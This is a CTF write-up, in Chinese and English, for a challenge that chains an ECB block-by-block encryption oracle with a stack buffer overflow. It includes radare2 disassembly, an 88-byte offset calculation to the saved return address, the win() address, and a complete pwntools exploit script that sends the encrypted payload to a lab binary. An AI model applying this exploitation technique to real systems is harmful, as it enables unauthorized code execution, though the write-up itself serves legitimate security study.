同 easy 版本的 dispatch oracle 和 ECB block-by-block
加密策略,区别在于没有 stack dump 提示,需要手动逆向 offset。
Analysis
1
| r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win" /challenge/vulnerable-overflow
|
关键溢出点:
1 2 3 4 5 6
| ; plaintext struct 起始于 s1 = rbp - 0x60 │ 0x0040173b lea rsi, [s1] ; rbp - 0x60 ; message buffer = s1 + 0x10 (跳过 8 字节 header + 8 字节 length) │ 0x0040173f add rsi, 0x10 ; rbp - 0x50 ; buffer overflow: 无长度限制 │ 0x00401749 call sym.imp.EVP_DecryptUpdate
|
- message buffer 起始于
rbp - 0x50
- saved rbp 在
rbp + 0x00,saved rip 在
rbp + 0x08
- offset =
0x50 + 0x08 = 88 bytes
sym.win 地址:
1 2
| │ 0x004013b6 endbr64 │ 0x004013be lea rdi, str.You_win__Here_is_your_flag:
|
→ win() = 0x4013b6
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| from Crypto.Util.Padding import pad from pwn import *
context.log_level = "info"
OFFSET = 88 WIN_ADDR = 0x4013b6
def encrypt_block(block_data): p = process(["/challenge/dispatch"], level="error") p.send(block_data) p.shutdown("send") ct = p.recvall() p.close() return ct[16:32]
def build_payload(): p_init = process(["/challenge/dispatch"], level="error") p_init.send(b"A" * 16) p_init.shutdown("send") first_block_ct = p_init.recvall()[:16] p_init.close()
raw_payload = b"A" * OFFSET + p64(WIN_ADDR) padded_payload = pad(raw_payload, 16)
final_ct = first_block_ct for i in range(0, len(padded_payload), 16): final_ct += encrypt_block(padded_payload[i : i + 16])
log.success(f"Payload length: {len(final_ct)} bytes") return final_ct
def exploit(): payload = build_payload() target = process("/challenge/vulnerable-overflow") target.send(payload) target.shutdown("send") print(target.recvall().decode(errors="ignore"))
if __name__ == "__main__": exploit()
|